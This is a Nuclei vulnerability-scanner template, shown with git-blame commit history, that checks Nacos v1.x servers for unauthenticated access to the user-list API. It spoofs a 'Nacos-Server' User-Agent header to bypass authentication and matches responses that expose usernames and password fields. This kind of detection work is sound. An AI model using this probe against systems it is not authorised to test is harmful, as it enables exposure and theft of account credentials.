nuclei-templates/misconfiguration/unauthenticated-nacos-acces...

id: unauthenticated-nacos-access

info:
  name: Unauthenticated Nacos access v1.x
  author: taielab,pikpikcu
  severity: critical
  reference:
    - https://github.com/alibaba/nacos/issues/4593
  tags: nacos,unauth

requests:
  - method: GET
    path:
      - "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=9"
      - "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=9"
    headers:
      User-Agent: Nacos-Server

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "Content-Type: application/json"
        part: header

      - type: regex
        regex:
          - '"username":'
          - '"password":'
        part: body
        condition: and

      - type: status
        status:
          - 200
few updates 2021-01-06 07:29:33 +00:00			`id: unauthenticated-nacos-access`
Nacos-auth-bypass 2021-01-06 03:54:47 +00:00
			`info:`
Update unauthenticated-nacos-access.yaml 2021-02-26 01:56:25 +00:00			`name: Unauthenticated Nacos access v1.x`
Updated author names 2021-06-09 12:20:56 +00:00			`author: taielab,pikpikcu`
Nacos-auth-bypass 2021-01-06 03:54:47 +00:00			`severity: critical`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://github.com/alibaba/nacos/issues/4593`
adding tags to misconfiguration 2021-03-12 08:57:14 +00:00			`tags: nacos,unauth`
Update Nacos-auth-bypass.yaml 2021-01-06 04:26:18 +00:00
Nacos-auth-bypass 2021-01-06 03:54:47 +00:00			`requests:`
Update unauthenticated-nacos-access.yaml 2021-02-26 01:56:25 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=9"`
			`- "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=9"`
Update unauthenticated-nacos-access.yaml 2021-02-26 05:44:18 +00:00			`headers:`
			`User-Agent: Nacos-Server`
Update Nacos-auth-bypass.yaml 2021-01-06 04:26:18 +00:00
Nacos-auth-bypass 2021-01-06 03:54:47 +00:00			`matchers-condition: and`
			`matchers:`
Update unauthenticated-nacos-access.yaml 2021-02-26 01:56:25 +00:00
			`- type: word`
			`words:`
			`- "Content-Type: application/json"`
			`part: header`

Nacos-auth-bypass 2021-01-06 03:54:47 +00:00			`- type: regex`
			`regex:`
fixes 2021-01-10 23:20:14 +00:00			`- '"username":'`
			`- '"password":'`
Nacos-auth-bypass 2021-01-06 03:54:47 +00:00			`part: body`
Update unauthenticated-nacos-access.yaml 2021-02-26 01:56:25 +00:00			`condition: and`

Nacos-auth-bypass 2021-01-06 03:54:47 +00:00			`- type: status`
			`status:`
			`- 200`